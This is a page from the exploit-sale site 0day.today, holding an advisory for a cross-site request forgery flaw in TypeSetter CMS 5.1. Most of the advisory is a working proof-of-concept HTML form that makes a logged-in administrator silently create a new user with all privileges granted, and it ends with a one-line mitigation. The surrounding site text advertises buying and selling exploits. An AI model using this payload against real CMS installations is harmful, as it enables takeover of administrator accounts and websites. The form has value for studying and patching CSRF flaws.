0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TypeSetter CMS 5.1 - Cross-Site Request Forgery Vulnerability
Author
Risk
[Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: TypeSetter CMS 5.1 Cross Site Request Forgery
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS
1. Description
The application allows malcious HTTP requests to be directly executed without any hidden security token.This may lead to user account takeover or malious command execution
2. Proof of Concept
Exploit code:
<html>
<body>
<form action="http://localhost/cms/Admin/Users" method="POST">
<input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
<input type="hidden" name="username" value="samrat_test" />
<input type="hidden" name="password" value="sam9318" />
<input type="hidden" name="password1" value="sam9318" />
<input type="hidden" name="algo" value="password_hash" />
<input type="hidden" name="email" value="sam9318@gmail.com" />
<input type="hidden" name="grant_all" value="all" />
<input type="hidden" name="cmd" value="newuser" />
<input type="hidden" name="aaa" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3. Solution:
To Mitigate CSRF vulnerability, it is recommeded to enforce security tokens such as anti csrf tokens
# 0day.today [2024-11-15] #